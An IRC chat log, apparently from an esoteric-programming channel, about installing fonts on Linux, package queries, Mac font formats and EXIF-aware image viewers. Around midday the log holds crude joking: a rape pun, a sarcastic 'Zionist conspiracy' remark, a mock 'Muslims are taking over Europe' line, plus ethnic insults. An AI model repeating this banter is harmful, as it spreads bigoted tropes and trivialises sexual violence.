08:49:34 <elliott> At least as of $YEARS ago.
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09:07:29 <fizzie> The right-aligning also doesn't exist in the released versions, just in the SVN.
09:08:05 <fizzie> Or at least that was the case.
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09:21:43 <zzo38> What comonads can you make on the IO monad Kleisli category?
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09:31:27 <kallisti> elliott: I have a bunch of texlive fonts
09:33:59 <kallisti> ...nevermind I think I found out how to do it
09:34:06 <kallisti> the tedious part will be finding all of the font directories.
09:34:58 <kallisti> ... I installed texlive-fonts-extra
09:35:42 <kallisti> wow... textlive-full is a 1.1 GB download
09:41:58 <elliott> kallisti: They're unlikely to be in the right formats.
09:42:07 <elliott> Computer Modern, f.e., is Metafont.
09:42:40 <shachaf> I never metafont I didn't like.
09:43:05 <kallisti> elliott: https://wiki.archlinux.org/index.php/TeX_Live#Fonts
09:43:41 <elliott> They're mostly crap. Why do you want them in fontconfig?
09:43:56 <kallisti> because I have a shortage of fonts.
09:51:17 <kallisti> elliott: so by putting .conf files in /usr/share/fonts
09:51:27 <kallisti> fontconfig can automatically slurp all of those up?
09:51:31 <kallisti> or do I need to tell it I've added a new file.
09:51:43 <oklopol> can you really even define "emacs"
09:54:12 <oklopol> i should probably start doing this in #philosophy
09:54:41 <kallisti> so fc-cache doesn't seem to like my fancy new config file.
09:54:48 <kallisti> or isn't caring about it or something.
09:54:55 <oklopol> deep is when someone says something that's very deep
09:55:26 <oklopol> i learned how to define at urbandictionary.com
09:55:37 <fizzie> kallisti: I would guesstimate that config files go to /etc/fonts/conf.d/ or something, unless of course your system is different. (This is an Ubuntu workstation.)
09:56:03 <elliott> fizzie: Please, that directory actually does something.
09:56:15 <elliott> If he keeps putting them in there, he'll be kept from fucking things up.
09:56:24 <elliott> Especially since there's no chance he'll get the load order right in conf.d.
09:56:25 <kallisti> this is what I get for getting help from the Arch wiki on a Debian machine.
09:56:32 <elliott> Or put them in conf.avail before symlinking to conf.d.
09:56:37 <elliott> Arch has /etc/fonts/conf.d too.
09:57:04 <fizzie> elliott: Who am I to forbid people from e.g. getting the "chemarrow" font in fontconfig, for some hot "chemical-reaction arrow on LibreOffice" action.
09:57:31 <kallisti> they say to make /etc/fonts/texlive.conf
09:57:41 <elliott> Whatever they say, it's a supremely dumb idea.
09:58:02 <elliott> For example, the Type1-or-was-it-TTF version of Computer Modern is something like 30 fonts, I believe.
09:58:15 <elliott> They are not designed to be used as main system fonts.
09:58:19 <elliott> Install some ttf- packages instead.
09:59:47 <fizzie> https://bbs.archlinux.org/viewtopic.php?id=108670 "Personally, I quickly regretted the decision to make all the TeX fonts available to fontconfig, --"
10:00:42 <mroman> there's volume control in xmonad?
10:00:52 <elliott> kallisti doesn't listen to advice, he just does the stupid thing and acts indignant when it goes wrong and you point out you told him so.
10:01:05 <shachaf> elliott: HLEP WHY IS MY LAPTOP OVERHEATING
10:01:54 <elliott> fizzie: Heh, so it completely breaks XeLaTeX.
10:02:02 <kallisti> "merely because the huge number of them (at least for a full TeXlive install) made using any font selection dialogue overwhelming."
10:02:07 <kallisti> these are the words of lesser men.
10:02:43 <elliott> And who need to be able to use LaTeX.
10:03:09 <elliott> Anyway, we've entered stage #3 of your terrible ideas, "sarcastically dismissing all objections"; roll on stage #4.
10:04:08 <kallisti> dude, texlive-fonts-extra only took like 50 minutes to install. What's the problem?
10:06:16 -!- Vorpal has joined.
10:06:25 <kallisti> image having a different typeface for every character....
10:07:39 <fizzie> I have a rather horrible font selection dialogs too, because of $ dpkg-query -l 'ttf-*' | grep ^i | wc -l
10:07:48 <fizzie> I just kept pressing + there.
10:08:14 <kallisti> there doesn't seem to be that many ttf-* packages on Debian...
10:08:37 <fizzie> Now there's a dozen fonts that only differ in what sort of "funky" symbol they put in the middle of all 'o's; peace signs, four-leaf colvers, and so on.
10:08:59 <kallisti> I just want some more old style fonts. is that too much to ask?
10:09:50 <fizzie> That was like the best idea.
10:09:54 <Vorpal> Are the pedals in cars mirrored in countries where you drive on the left side compared to countries where you drive on the right side?
10:10:21 <Jafet> Little-known fact: left-side driving countries have more left-handed people
10:10:29 <Vorpal> Jafet, kind of doubt that.
10:10:39 <Vorpal> but I guess it is possible..
10:10:59 <fizzie> Vorpal: As far as I know the arrangement tends to be the same, just the seat with the controls changes.
10:11:00 <Jafet> They're not, silly
10:11:09 <kallisti> fizzie: where are you getting all of these font packages?
10:11:23 <fizzie> kallisti: It's an Ubuntu system, you see.
10:11:43 <kallisti> why did I install Debian again?
10:11:47 <fizzie> They need to have all the "used by people in flyers of their 'band'" fonts available in order to be competitive.
10:12:11 <kallisti> I want... reasonable normal fonts. my font selection is scarce.
10:12:32 <Vorpal> anyway, the reason I was thinking about this, is that if you for some reason can't drive the car but need to move it forward (and the ground is fairly flat) you can (if the clutch pedal is outermost) just put one foot in the car to press the clutch and move it by hand. Doesn't need a separate person doing the pushing, and is safer than putting the car in neutral if the ground isn't flat enough.
10:12:41 <fizzie> 90-plus percent of the 1795 are the crap.
10:12:52 <Jafet> What's a clutch pedal
10:12:56 <fizzie> And by "crap" I mean real crap.
10:13:12 <kallisti> you see, there's this thing in manual transmissions called the clutch
10:13:15 <Jafet> Is it a pedal on cars that often have to be pushed
10:13:21 <Vorpal> my point is, it would be hard to do this if you didn't have the clutch pedal nearest to the door
10:13:22 <kallisti> that connects the transmission with the engine
10:13:35 <Jafet> Or a pedal in countries without bricks
10:14:04 <kallisti> and the clutch pedal, disconnects this connection briefly, so that you can remove the coupling between engine RPMs and transmission RPMs as you abruptly change the transmission RPMs
10:14:11 <elliott> fizzie: Can see your worst font?
10:14:29 <Vorpal> Jafet, I presume you don't have a driving license? :P
10:14:56 <fizzie> Vorpal: No, e just carries a brick around at all times in order to depress the clutch.
10:15:43 <Jafet> Yes, I use cars that stop working all the time
10:15:55 <fizzie> elliott: Sowwy, but I'm at work, so I don't have them here. Anyway, the one that was called "Hots" that was made of revealingly dressed girls making different shapes that did not even correspond to the letters was probably quite bad.
10:16:02 <Jafet> The brick is also essential for hurling at other cars
10:16:18 <Vorpal> fizzie, ... why did you have that font?
10:16:45 <fizzie> Vorpal: I installed most things that started "ttf-" as a lark.
10:16:54 <Jafet> fizzie has downloaded a large font collection
10:16:56 <Vorpal> fizzie, which distro had this font?
10:17:07 <kallisti> fizzie, like myself, understands that it's important to have all the fonts.
10:17:36 <fizzie> $ dpkg-query -S `locate hots.ttf`
10:17:36 <fizzie> ttf-larabie-uncommon: /usr/share/fonts/truetype/ttf-larabie-uncommon/hots.ttf
10:17:38 <elliott> fizzie: That's the bestest font.
10:17:49 <fizzie> "Less common freeware TrueType fonts from Ray Larabie. This package contains fonts which are beautiful for special decorations and headlines."
10:17:57 <elliott> fizzie: You should set your IRC client to use hots.ttf.
10:17:59 <fizzie> "Special decorations" indeed.
10:18:06 <Vorpal> three ttf fonts are enough: one sans serif, one serif, and one monospace. Then you need one bitmap font as well.
10:18:13 <elliott> Total shoulder-glancing protection.
10:18:14 <Vorpal> then the fallbacks and such will work
10:18:21 <elliott> You don't need bitmap font.
10:18:34 <fizzie> elliott: You can see it in action at http://www.fonts4free.net/hots-font.html
10:18:45 <Vorpal> elliott, sure you do, for your terminal. ttf fonts don't work in the vt
10:18:48 <kallisti> Vorpal: no all serif fonts are created equally.
10:19:04 <Vorpal> kallisti, if you took me seriously you missed the whole point
10:19:35 <elliott> fizzie: http://www.fonts4free.net/custom.php?owntext=%3Celliott%3E%20*fonts&ttf=hots.ttf
10:19:38 <Jafet> It could be used for diagramming cheerleading moves
10:20:15 <fizzie> elliott: Oh, they have the letters in their shirts.
10:20:17 * elliott wonders what classes as "revealing" in Finland.
10:20:27 <elliott> I was wondering what that was.
10:20:28 <fizzie> elliott: I couldn't see that in the font selection dialog, it's pretty small.
10:21:16 <kallisti> elliott: oh no, I actually do have Courier as well as Courier New
10:21:50 <fizzie> Anyway, http://www.larabiefonts.com/ recommends the Ultimate Font Download, it has 10000 fonts.
10:21:59 <fizzie> "All the free Larabie Fonts are included and a lot more. It’s the only big font download pack I recommend."
10:22:58 <elliott> I wonder if all creators of big font download packs say the same.
10:23:11 <elliott> "This one is good -- but, you know, the other ones are too."
10:23:27 <fizzie> $ dpkg-query -S `locate $(fc-match 'Hippy Participants' | cut -d: -f1)`
10:23:28 <fizzie> ttf-larabie-uncommon: /usr/share/fonts/truetype/ttf-larabie-uncommon/hippp___.ttf
10:23:37 <fizzie> It's the same guy's fault.
10:23:43 <kallisti> I'm guessing I don't want "ttf-opensymbol"
10:23:48 <fizzie> I suspect that's where most of the stupidity is.
10:24:08 <fizzie> Anyway, there's all kinds of "binary" fonts, and one composed of just sequences of cigarettes called "Holy Smokes" or something, and so on...
10:24:29 <elliott> fizzie: Have you considered: Removing them?
10:24:44 <fizzie> Unsurprisingly, Holy Smokes comes from ttf-larabie-uncommon.
10:24:59 <kallisti> removing them? that's counterintuitive
10:25:04 <kallisti> that would involve having less fonts.
10:25:26 <fizzie> /usr/share/fonts/truetype/ttf-larabie-uncommon/skeletor.ttf
10:25:32 <fizzie> I'm sure that's one of the best things.
10:25:40 <fizzie> Or the "stupefac.ttf".
10:25:48 <fizzie> Or the "worthles.ttf".
10:26:40 <kallisti> oh wait I think I found a good old style font.
10:27:12 <Vorpal> fizzie, are all those 10000 fonts novelty ones? Or are there "proper" ones as well? :P
10:27:29 <fizzie> Vorpal: I don't know, but it's the Ultimate Font Download.
10:27:45 <fizzie> ii ttf-larabie-deco 1:20011216-1.1 Decorative fonts from www.larabiefonts.com
10:27:49 <fizzie> ii ttf-larabie-straight 1:20011216-1.1 Straight fonts from www.larabiefonts.com
10:27:52 <fizzie> ii ttf-larabie-uncommon 1:20011216-1.1 Special decorative fonts from www.larabiefonts.com
10:27:55 <fizzie> I suppose the "straight" fonts are "proper".
10:28:37 <fizzie> 161 fonts (well, .ttf files) in straight, 161 in deco, 149 in uncommon.
10:28:45 <Vorpal> Not sure what they mean by straight there...
10:29:45 <kallisti> http://www.ultimatefontdownload.com/index.htm?hop=typodermic
10:30:04 <Vorpal> how do you search in installed packages on ubuntu? As in just getting the package names matching something and that are installed
10:30:48 <fizzie> Vorpal: Anyway, you can see probably most of the Larabie fonts at http://www.myfonts.com/foundry/Larabie/ --
10:31:08 <elliott> Vorpal: dpkg --list | grep ttf-
10:31:13 <fizzie> Vorpal: And "dpkg-query -l '*foo*' | grep ^i" is what I've done, though I'm sure there's a better way.
10:31:47 <fizzie> "dpkg --list" seems to equal "dpkg-query -l"
10:32:13 <Vorpal> dpkg-query -l 'ttf-*' | grep ^i | awk '{print $2}'
10:32:29 <Vorpal> hm that is a lot of packages.
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10:32:53 <elliott> http://stackoverflow.com/questions/1645615/what-is-the-use-of-brainfck
10:33:14 <elliott> kallisti: Perhaps more if you enabled the other repos.
10:33:19 <Vorpal> why do I have fonts for languages I can't read installed
10:33:24 <Vorpal> might as well save some disk space
10:33:34 <elliott> Vorpal: So Wikipedia pages aren't littered with boxes?
10:33:35 <kallisti> that's how I have wireless and such
10:34:05 <Vorpal> elliott, uh? en.wikipedia.org and sv.wikipedia.org are the only relevant ones anyway?
10:34:27 <fizzie> aptitude search '~i ttf-' would have been an alternative.
10:34:31 <Vorpal> I wonder what IRC would look like in CM btw...
10:34:38 <kallisti> elliott: also the use of brainfuck is to increment and decrement bytes in an unbounded tape.
10:35:05 <elliott> Vorpal: To suggest that foreign scripts never appear on Wikipedias is pretty highly ignorant.
10:35:24 <Vorpal> elliott, well of course it does, but to what degree depends on which articles
10:35:36 <elliott> Not to mention the various recontextualised uses of them -- e.g. see that Kannada letter in the look of disapproval, and so on.
10:36:01 <elliott> There are easier ways to save disk space than to decrease the literacy of your system.
10:36:01 <Vorpal> anyway doesn't dejavu have most of them
10:36:22 <Vorpal> I don't need fonts dedicated to those letters if I have them in dejavu.
10:36:59 <fizzie> elliott: Oh yes, http://www.myfonts.com/fonts/larabie/ennobled-pet/ was pretty bad too. But maybe not quite "Hots" bad. And, uh, http://www.myfonts.com/fonts/larabie/oil-crisis/
10:37:40 <elliott> fizzie: Oil Crisis: best IRC font?
10:38:02 <Vorpal> what are the points of those fonts? Wouldn't just using a vector graphics clipart be better? The effect would be pretty much the same
10:38:20 <elliott> fizzie: I think you should /kick Vorpal for blasphemy.
10:38:44 <kallisti> it's stylistic scripts for people who can't create custom graphics.
10:38:51 <kallisti> they're all quite specific in their uses.
10:39:04 <Vorpal> kallisti, clipart is for people who can't create custom graphics too!
10:39:19 <fizzie> Then Sappy Mugs (just people and fish with silly faces), Riot Act (made out of monsters, I *think*), Lucky Ape (slot machine slots), ...
10:39:54 * elliott hovers his delete-finger over [[Grasp]] -- uh, [[User:Fizzie]].
10:39:57 <kallisti> should I install Mathematica fonts?
10:40:38 <kallisti> I think the answer is obviously YES
10:40:41 <fizzie> I seem to recall them being utterly utterly useless without, you know, Mathematica.
10:40:51 <Vorpal> kallisti, I have them, because I have mathematica
10:41:05 <elliott> http://esolangs.org/wiki/Main_Page?uselang=qqx -- this is the hardcore.
10:41:08 <kallisti> maybe I've been living in a cave.
10:41:16 <Vorpal> kallisti, I said I have it, not that I use it (very much)
10:41:52 <Vorpal> hm I wonder how much of the stuff in the mathematica fonts lacks a standarlised code point in unicode.
10:42:02 <Vorpal> there are quite a lot of math symbols there.
10:42:34 <fizzie> I don't think they have the corresponding Unicode code point information even in the cases where it would exist.
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10:44:01 <Vorpal> unicode even have code points for stuff like 𝕀
10:44:16 <Vorpal> (the letter "I" in blackboard bold)
10:44:29 <kallisti> I lost my irssi window, but it was still attached according to screen...
10:45:06 <kallisti> also it's ttf-mathematica so it should be usable elsewhere
10:45:12 <kallisti> but it looks like a shitty font.
10:46:01 <elliott> I believe it just assigns symbols to random codepoints.
10:46:18 <kallisti> it's a nice semi-calligraphic kind of script.
10:46:30 <kallisti> ...you know because I totally write formal invitations.
10:47:04 <elliott> Anyway, if you want an OS with a lot of nice serifs, you're just going to have to use OS X.
10:51:50 <kallisti> there are free versions of Garamond out there, but I doubt they're as high quality.
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10:52:53 <elliott> kallisti: You'll have to convert the dfont files, and since OS X fonts have no hinting (since OS X doesn't hint), they'll look like crap.
10:52:57 <elliott> Especially since freetype sucks.
10:53:04 <elliott> The free Garamonds are okay.
10:53:23 <fizzie> Install all the free Garamonds and take their average to get an even better approximation of the real thing.
10:53:25 <elliott> A new free Garamond came out recently, I think.
10:53:43 <elliott> fizzie: Clicked my Avería link, eh?
10:54:40 <kallisti> elliott: wait what? why doesn't it hint?
10:56:35 <elliott> Hinting distorts font shapes in return for crispness. OS X's font renderer is good enough, and their displays high-DPI enough, that they don't need it.
11:02:10 -!- kmc has quit (Ping timeout: 245 seconds).
11:07:44 <Vorpal> elliott, how does .dfont differ from .ttf?
11:07:51 <Vorpal> I mean, why would apple not use ttf
11:08:03 <Vorpal> (they co-developed ttf after all, iirc)
11:08:23 <elliott> "Datafork TrueType is a font wrapper used on Apple Macintosh computers running Mac OS X. It is a TrueType suitcase with the resource map in the data fork, rather than the resource fork as had been the case in Mac OS 9. It uses the file extension .dfont."
11:08:25 <elliott> Oh, but: "In Mac OS X 10.6, released August 28, 2009, the dfont format is being (gradually) replaced with the TTC format (TrueType) [1]."
11:08:32 <elliott> I don't know if freetype can do .otf.
11:08:53 <elliott> http://en.wikipedia.org/wiki/Truetype#Suitcase
11:08:56 <elliott> is the diff between dfont and ttf
11:08:57 <Vorpal> I thought they abandoned resource fork mostly
11:09:15 <Vorpal> but it seems it is still supported on os x
11:09:31 <Vorpal> why though, intel macs can't even run classic
11:09:32 <fizzie> .sfont has the font curves in the salad fork.
11:10:04 <elliott> Vorpal: <elliott> "Datafork TrueType is a font wrapper used on Apple Macintosh computers running Mac OS X. It is a TrueType suitcase with the resource map in the data fork, rather than the resource fork as had been the case in Mac OS 9. It uses the file extension .dfont."
11:10:08 <elliott> i.e., it uses the data fork on OS X.
11:10:21 <Vorpal> elliott, yes indeed, but read what I said
11:10:21 <elliott> Anyway, OS X is still embarrassed by its filesystem.
11:10:32 <elliott> They wanted to go for ZFS.
11:10:36 <elliott> But then Oracle happened and they gave that up.
11:10:51 <Vorpal> didn't they support UFS2?
11:11:24 <elliott> I suspect they'll assign some engineers to make a new "next-gen" (like btrfs, ZFS, etc.) filesystem sometime.
11:11:28 <elliott> They certainly have the expertise and the need.
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11:12:34 <Vorpal> elliott, does OS X just do unix permissions or is there any support for more advanced ACL?
11:12:56 <elliott> I think they're OS X-specific.
11:13:00 <Vorpal> layered on top of HFS+...
11:13:12 <fizzie> There was some sort of UFS thing, I remember reading about it when installing yaboot. But it might be abandoned nowadays.
11:13:29 <elliott> Vorpal: They still develop HFS+.
11:14:01 <Vorpal> is oracle going for zfs or btrfs in the future? Or both?
11:14:07 <elliott> kallisti: Can you register a wiki account so I can ban you for that?
11:14:11 <Vorpal> Maintaining both doesn't seem sensible
11:14:21 <kallisti> elliott: you can think of it as vaciously banned
11:14:32 <elliott> Pronounced "ze buffer FS".
11:14:49 <Vorpal> anyway how old is zfs by now?
11:14:58 <Vorpal> I don't think you could call it "next-gen" any more
11:15:24 <elliott> It's next-gen when everyone is using ext4/whatever the BSDs are on these days.
11:15:41 <elliott> OK, "current gen" might be roughly XFS.
11:16:22 <Vorpal> I think FreeBSD is still on UFS2 with that crazy soft-update stuff instead of journaling?
11:16:36 <kallisti> zfcfs -- Zermelo-Fraenkel set file system.
11:17:07 <elliott> "The page you have tried to view [...] is currently available to LWN subscribers only."
11:17:11 <elliott> I bet fizzie is a LWN subscriber.
11:17:50 <kallisti> I'm about to open GIMP without any of the default xmonad config stuff that makes it sane to use
11:18:28 <elliott> I believe GIMP sets floating hints on its windows.
11:19:44 <kallisti> oh right I'm using the thing with the acronym
11:21:03 <kallisti> I had to configure it in xmonad...
11:21:12 <kallisti> http://hackage.haskell.org/packages/archive/xmonad-contrib/0.9.1/doc/html/XMonad-Hooks-EwmhDesktops.html
11:22:06 <kallisti> so .xpm is a bitmap format right? any way I can set a background that isn't a bitmap?
11:22:30 <elliott> kallisti: just use xsetroot in xsession
11:22:55 <elliott> Oh, you want a full-colour image thing.
11:23:02 <elliott> Install an image viewer and run it in the root window in your xsession.
11:28:26 <kallisti> so now instead of Debian's default spaceship stuff I have BEAUTIFUL PLANTS PREGNANT WITH RAINDROPS.
11:30:18 <kallisti> I wonder how easy it is to randomly change backgrounds occasionally.
11:30:25 <Vorpal> kallisti, what, that doesn't make sense. You surely mean pregnant with seeds or such?
11:30:50 <kallisti> I... okay it may not make sense.
11:30:53 <kallisti> but they have raindrops on them
11:31:03 <fizzie> And 'pregnant' is a very widely-applicable word.
11:31:04 <fizzie> 3. fraught, pregnant -- (filled with or attended with; "words fraught with meaning"; "an incident fraught with danger"; "a silence pregnant with suspense")
11:33:19 <kallisti> should I consider using a file browser?
11:33:23 <Vorpal> what, windows 7 is freaking me out. There are two folders with the exact same name in my "Documents library"
11:33:29 <Vorpal> how does that even work
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11:34:07 <Vorpal> oh it is a merged view of "shared" documents and "my documents"
11:34:19 <Vorpal> but why not merge those directories too
11:34:39 <Vorpal> I wonder if I can get just plain old my documents in the start menu then
11:34:45 <fizzie> That's not what a library does. I mean, they don't merge the pages of books with similar titles.
11:35:16 <Vorpal> fizzie, on the other hand, when I create a new directory in that "library", how does it decide where it should go
11:35:18 <kallisti> actually this makes it very easy to randomly shuffle background images.
11:35:48 <fizzie> Vorpal: I don't know about that, but there's a "Locations" list that you can edit.
11:35:48 <elliott> <kallisti> should I consider using a file browser?
11:35:56 <elliott> A terminal works just fine. If you must, use ROX Filer.
11:36:20 <kallisti> the main reason I would want to use one is things like images
11:36:28 <kallisti> but I could just learn how to use an image viewer effectively
11:36:30 <elliott> geeqie is good at showing a bunch of images.
11:36:34 <kallisti> gqview is kind of bad though....
11:36:35 <elliott> Deewiant recommended it to me.
11:36:40 <elliott> geeqie is a fork of gqview, I think.
11:37:03 <kallisti> when I open qwview the title say "geeqie"
11:37:04 <fizzie> Vorpal: One of them is supposedly the default.
11:37:10 <fizzie> Vorpal: "Change the default save location. The default save location determines where an item is stored when it's copied, moved, or saved to the library. For more information, see Customize a library."
11:37:26 <Vorpal> anyone know an image viewer/searcher that can search/filter on EXIF data?
11:37:27 <fizzie> It's in the Locations list.
11:37:37 <kallisti> elliott: I may just use feh. it seems pretty good.
11:37:59 <elliott> kallisti: feh doesn't really do directories much, afaik.
11:38:05 <Vorpal> also, it needs to support raw images.
11:38:14 <Vorpal> I would really like a tool like that
11:38:32 <kallisti> elliott: if you pass it a directory
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11:38:37 <kallisti> also you can choose sorting options
11:38:52 <Vorpal> kallisti, does it support sorting on EXIF tags?
11:38:53 <kallisti> and... probably a bunch of other stuff.
11:39:12 <Vorpal> (and filtering possibly)
11:39:52 <elliott> I've learned much languages, but now I want to choose one, but the language that I most liked was Haskell, it is like a interpreted language, but is a compiled. Then I want to know the pros and cons of this powerfull language(just to make the correct choice).
11:39:54 <Vorpal> anyway, if you happen to come across a competent image library organizer software, do tell me.
11:40:10 <kallisti> Allowed sort types are: name, filename, width, height, pixels, size, format.
11:40:14 <Vorpal> elliott, ouch the (lack of) grammar
11:40:24 <Vorpal> kallisti, nah, not enough for me
11:40:51 <kallisti> my version is apparently compiled without EXIF support
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11:41:22 <Vorpal> kallisti, I want to be able to filter and sort on shutter settings and such. (This is very much useful when trying to check through HDR photography)
11:42:02 <Vorpal> kallisti, it doesn't really allow be to browse though
11:42:13 <kallisti> eh just dump everything to feh or something.
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11:42:38 <Vorpal> kallisti, dump everything of what?
11:42:40 <fizzie> Vorpal: Shotwell is Gnome's new standard image organizer, I suppose you've given it a whirl?
11:42:42 <kallisti> or <insert image viewer that can take a list of files as arguments and allow you to cycle through them in that order>
11:42:50 <Vorpal> fizzie, is it from gnome 3? then no
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11:43:14 <Vorpal> kallisti, I would like to see thumbnails kind of thing, I believe eog can do that though. Oh well.
11:43:18 <fizzie> Vorpal: It's what they replaced F-Spot with, don't know about Gnome version numbers.
11:43:21 <kallisti> yeah feh can take multiple files, directories, or URLs, apparently.
11:43:22 <Vorpal> but it doesn't show me the EXIF data on the side iirc
11:43:29 <kallisti> and you can specify a zoom size....
11:43:57 <Vorpal> fizzie, well, f-spot was a joke for my purposes
11:44:14 <kallisti> --draw-exif (only if compiled with exif=1) display some EXIF information in the bottom left corner, similar to using --info with exiv2 / exifgrep .
11:44:27 <fizzie> Vorpal: Given that it's a Gnome tool, and the default Gnome tool at that, it's probably more or less oversimplified.
11:44:35 <kallisti> I think feh is your program of choice.
11:44:41 <Vorpal> kallisti, exiv2 bugs out on my files, exiftool works fine though
11:44:46 <Vorpal> at least last I checked it bugged out
11:44:53 <kallisti> Vorpal: that was docs from feh
11:44:58 <Vorpal> didn't properly parse the vendor specific extension
11:45:19 <Vorpal> I think it byteswapped them
11:46:09 <elliott> http://yorba.org/shotwell/
11:46:20 <elliott> It's not GNOME-originated.
11:47:25 <elliott> fizzie: It has replaced F-Spot as the standard image tool for several GNOME-based Linux distributions, including Fedora in version 13[1] and Ubuntu in its 10.10 Maverick Meerkat release.[2]
11:47:44 <Vorpal> I wonder if there is any sort of browsing support in rawtherapee... I should check
11:47:48 <fizzie> Oh, I guess it could be just that distribution-makers replaced F-Spot with it.
11:47:50 <Vorpal> that is quite a nice tool
11:48:17 <kallisti> yeah I think I'll just use feh, since I'm basically migrating entirely to console apps...
11:48:56 <kallisti> elliott: yeah dude, it's the future.
11:49:08 <fizzie> http://redmine.yorba.org/projects/shotwell/wiki/ShotwellFeatureComparison <- bestly formatted comparison table.
11:49:33 <fizzie> I suggest you migrate to aaview.
11:49:42 <Vorpal> hm it does. I need to install it on this laptop, or check later on if it is suitable on my desktop (when I rebooted to linux)
11:49:43 <fizzie> Or cacaview if you want to be "fancy".
11:52:13 <Vorpal> fizzie, err is it just me, or is that page just broken? With some random chars on it "–" for example
11:53:07 <kallisti> elliott: it's a program you use from a command-line with an entirely keyboard-based interface. my bad.
11:53:35 <Vorpal> fizzie, I can't read that "table" at all
11:53:40 <Vorpal> because it isn't a table
11:53:44 <kallisti> imagine that it's not a table.
11:54:14 <elliott> kallisti: You don't "use it from a command-line".
11:54:17 <fizzie> Vorpal: Some of the earlier versions do show the first table, but not the rest.
11:54:20 <elliott> It can be started from a command-line; so can Firefox.
11:54:46 <kallisti> elliott: with feh I'm pretty sure it's a requirement
11:54:56 <kallisti> because it needs options and parameters
11:55:11 <elliott> What do you think happens when you double-click on an HTML file in a file manager?
11:55:35 <kallisti> yes, okay, other programs can launch feh.
11:55:43 <kallisti> I'm not really seeing your point.
11:56:29 <Vorpal> fizzie, I'm looking at rawtherapee's file browser atm. Well trying to. The Ubuntu 10.04 download doesn't run on Ubuntu 10.04 due to missing library (wut)
11:56:37 <Vorpal> I used the program for other stuff previously
11:56:44 <Vorpal> (mostly as a more advanced ufraw)
11:57:01 <elliott> http://esolangs.org/wiki/Minibiatch i like the part where this page has no content and the page it links to purporting to contain the content states "I have personally removed this because Oerjan fucked with it."
11:57:14 <elliott> i like the part where does anybody object to me obliterating that thing
11:57:43 <kallisti> I object to the part where elliott likes the parts
11:58:53 <fizzie> Vorpal: Well, anyway; Shotwell is the only specifically-an-image-organizer app I know of (except silly F-Spot and KDE's digiKam); it does have (some of) the sensible features, like an attempt at raw support and the whole non-destructive edits thing, but presumably the image editing functions are pretty streamlined. (Still, it should be able to do metadata-driven searching right.)
11:59:11 <elliott> More like E-Spot am I right???
12:00:25 <fizzie> elliott: You are more like a DEE-spot. You know. A despot.
12:00:43 <elliott> WELL it was nice knowing [[User:Fizzie]] too bad he's BANNED FOREVER.
12:00:45 <Vorpal> fizzie, so how hard is it to do a search like "exposure time > 1/60 && exposure time < 1/80"
12:01:08 <Vorpal> well, I mixed up those < > but apart from that
12:02:35 <kallisti> wow this is infinitely better than GNOME 2...
12:02:53 <kallisti> I HAVE COMPLETE CONTROL (within the limits of available software, time, and effort)
12:03:21 <elliott> Also [[User:wikipedia/The-Prophet-Wizard-of-the-Crayon-Cake]].
12:03:26 <elliott> Yes, I blocked a fucking cloak hostname, fuck you.
12:03:30 <Vorpal> fizzie, I doubt shotwell supports anything but 8 bits per channel though? Thumbnails of images with 16-bits per channel would be nice.
12:03:57 <kallisti> am I banned from internet now?
12:06:03 <fizzie> Vorpal: How should I know, I don't even have it installed? Anyway, it's got a search editor where you can list conditions; I don't know what sort of conditions it supports. And a higher-depth workflow with GEGL seems to be on the roadmap, but probably not in yet.
12:06:55 <elliott> fizzie: You mentioned something; you must be an expert in it. Vorpal rules.
12:07:02 <kallisti> elliott: I'm sorry you can't realize your true potential. :(
12:07:39 <Vorpal> elliott, no, that isn't the reason. The reason is that fizzie is an expert on everything, and if he isn't, it is able to become one within minutes. This is not a general rule. It just applies to fizzie.
12:08:22 <elliott> Counterpoint: Deewiant is an expert on everything without having to learn it.
12:08:42 <Vorpal> elliott, hm, possibly, haven't noticed that though
12:09:07 <elliott> That's because you're Swedish and stupid.
12:10:07 <kallisti> Vorpal: perl is probably your program of choice for making the thing you want happen.
12:10:49 <kallisti> it uses an advanced configuration language that allows you to configure the exact results you want it to give you.
12:10:51 <Vorpal> kallisti, well yes, but it is perl. Anyway it looks like rawtherapee supports most of the features I want. Just not all.
12:11:08 <Vorpal> plus as a bonus it provides /really/ good editing
12:11:47 <Vorpal> (well, for pre-processing)
12:12:28 <fizzie> There's a raper, and the rapee.
12:12:57 -!- kallisti has changed nick to theraper.
12:13:23 <theraper> theraper. n. someone who gives therapy
12:13:31 -!- elliott has quit (Quit: Leaving).
12:14:16 -!- theraper has changed nick to kallisti.
12:14:48 <kallisti> so now that elliott is gone I can act sensible again.
12:15:17 <kallisti> I think I'll start by going to sleep.
12:16:01 <fizzie> Time zones are a Zionist conspiracy.
12:16:22 <kallisti> yes they were perpetuated by the white man to enslave the children of the earth.
12:16:54 <kallisti> also, Muslims are taking over Europe.
12:17:41 <kallisti> I wish I could dream electricsheep
12:17:45 <fizzie> Yes, they have made the time zones so that they are in the future and can control the past.
13:06:58 -!- elliott has joined.
14:01:21 -!- Taneb has joined.
14:01:41 <Taneb> That's almost my username!
14:02:21 <Taneb> Does the halting problem apply to Push-down automata?
14:14:14 -!- Taneb has changed nick to Ngevd.
14:14:18 <Ngevd> NOW WHAT WILL YOU DO?
14:15:01 -!- Ngevd has changed nick to ettioll.
14:15:47 -!- ettioll has changed nick to Taneb.
14:15:54 -!- Frooxius has joined.
14:17:32 <elliott> Taneb: can you change your name to tanb towl
14:17:36 <fizzie> Ngetanevdb: I'm not sure what "apply" means; I mean, certainly you can wonder about whether PDAs halt, but the question is decidable, so maybe it's not so much of a problem? (Proof outline at http://www.cse.ohio-state.edu/~gurari/theory-bk/theory-bk-threese6.html -- can't find our theory course's notes.)
14:18:15 <elliott> You call something a problem if it can inspire wonder. That's how it works.
14:18:45 <Taneb> elliott, yes, but I'm not going to
14:19:16 <Taneb> fizzie, I was wondering about its decidability
14:20:05 <elliott> fizzie: can you op me please, thank you
14:21:39 <elliott> i had a dream where i smashed a glass window to get out
14:22:43 <elliott> fizzie: hi, realise you're busy, but, it's been a few seconds since my request, what is the progress report on me getting opped?
14:23:39 <fizzie> I've "tabled" it. I hear that's a kinda thing that happens. I don't know what it means.
14:24:19 <elliott> okay. can you table it into happening?
14:24:23 <Jafet> fizzie is probably trying to figure out what the right command is. I think the relevant mode is b.
14:24:40 <elliott> sorry, i think it's o instead
14:24:42 <elliott> are you using a dvorak keyboard?
14:24:46 <elliott> i think b and o might be close on that.
14:24:56 <elliott> it's not on qwerty. interesting to meet someone who uses strange keyboard layouts!
14:25:04 <elliott> we will be friends in the future. fizzie am i an op yet?
14:25:20 <Jafet> Sorry, you're right. I meant to type q.
14:25:52 <elliott> oh i think you may not be so good at typing the letters, friend!!!!
